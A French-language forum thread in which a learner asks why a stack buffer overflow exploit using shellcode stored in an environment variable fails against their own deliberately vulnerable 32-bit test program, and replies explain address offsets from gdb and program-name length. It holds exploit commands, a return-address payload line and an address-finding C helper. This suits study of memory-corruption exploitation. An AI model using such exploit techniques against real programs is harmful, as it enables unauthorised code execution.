OS : systèmes d’exploitation
Buffer overflow via variable d’environnement
Bonjour.,
Depuis quelques jours je me tâte a créer mes premiers exploits pour exploiter des buffer overflow.
Je voudrais tenter l’exploitation via une variable d’environnement. Si j’ai bien compris le principe qui n’est pas très compliqué en soit on ne s’occupe plus d’injecter notre shellcode dans le buffer. Celui ci est stocké dans une variable d’environnement. On bourre ensuite notre programme avec l’overflow nécessaire pour atteindre la sauvegarde de EIP et on y place donc l’adresse de notre variable d’environnement.
En théorie ça me parait "simple" ... sauf qu’en pratique je n’y arrive pas ^^
Je crée ma variable comme ceci :
export SHELLCODE=$(python -c ’print "\xaa\xbb\xcc\x..." ’)
Je me suis fait un programme qui m’affiche l’adresse de ma variable d’environnement
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
if(getenv(argv[1]) == NULL)
{
printf("%s not found\n", argv[1]);
}
else
{
printf("%s found at 0x%x\n", argv[1], getenv(argv[1]));
}
return 0;
}J’obtiens donc quelque chose du genre : SHELLCODE found at 0xffffddef
Le problème c’est que lorsque j’entre cette adresse comme adresse de retour dans gdb ... ben ça ne fonctionne pas. Et je ne vois vraiment pas POURQUOI ça ne va pas ce qui est franchement frustrant... :/
Alors mon programme vulnerable est compilé comme ceci :
gcc -m32 vuln.c -o vuln -z execstack -fno-stack-protector
J’ai testé en injectant le shellcode dans le buffer, ça fonctionne sans problème donc il est bien "vulnérable" mais pas moyen d’y parvenir en utilisant une variable d’environnement.
Mon architecture est du 64 bit mais mes programmes sont compilés pour du 32 avec l’option -m32 de gcc.
Bref il y a sûrement quelque chose qui doit m’échapper parce que je ne vois vraiment pas pourquoi ça ne veut pas marcher, mon but étant de pouvoir faire un exploit qui permet "à coup sur" de tomber sur l’adresse de la variable d’environnement et donc de ne plus avoir besoin de la chercher. Mais si déjà "manuellement" ça ne fonctionne pas...
Merci d’avance 😉
Buffer overflow via variable d’environnement
gdb te rajoute 2 variables d’environnement et donc décale ta pile.
https://stackoverflow.com/questions/14926994/buffer-overflow-works-in-gdb-but-not-in-terminal
Bonne chance :)
Buffer overflow via variable d’environnement
Même sans utiliser gdb ça ne fonctionne pas ^^’ (sinon après quelques manipulations j’ai réussi à trouver l’adresse de ma var d’env dans gdb et elle est effectivement différente de celle donnée par mon programme)
Bref déjà est ce que faire un programme faisant un getenv("NOM_DE_LA_VAR_D_ENV") donne la bonne adresse ?
Par exemple (sans utiliser gdb) : je sais que mon overflow est de 112 octets et que les 4 suivants vont écraser l’adresse de retour
J’injecte mon shellcode dans la var d’env SHELLCODE et je lance mon programme en lui balançant le nom de la variable d’env
J’ai comme résultat : SHELLCODE found at ffffde1d
Donc on est d’accord que logiquement en faisant ce qui suit ça devrait marcher ?
./vuln $(python -c 'print "A"*112 + "\x1d\xde\xff\xff" ')(déso si les questions sont connes mais bon j’ai beaucoup de mal avec les failles applicatives et j’avoue que c’est un milieu qui me dépasse assez bien niveau compréhension ^^)
Buffer overflow via variable d’environnement
EDIT : Je viens de trouver par tâtonnement mais j’ignore encore vraiment pourquoi : il y a un décalage de 16 octets entre l’adresse donnée par getenv et le contenu de la variable d’environnement (testé hors gdb)
Si mon programme me donne l’adresse 0xffffde1e en rajoutant 16 octets (0x10) ce qui donne l’adresse 0xffffde2e et bien paf ça fait des choca... hem ça fait bien apparaître mon shell.
Buffer overflow via variable d’environnement
Hello,
Le nom du programme en cours figure dans l’environnement. Donc il faut que le programme que tu veux exploiter et le programme qui te donne l’adresse de la variable soit de même longueur ou alors, il faut corriger de 2 fois l’écart (le nom apparaît 2 fois).
Il est possible de faire la correction avec ce (bout) de code dans le programme qui va te donner l’adresse :
int main(int argc,char *argv[]){
char *ptr;
ptr=getenv(argv[1]);
ptr+=(strlen(argv[0])-strlen(argv[2]))*2;
printf("%s will be at %p\n",argv[1],ptr);
return 0;
}et d’appeler le programme avec :
./get_adresse SHELLCODE /chemin/vers/prog/vuln
— Fraf
Nouvelle réponse
Nouveau sujet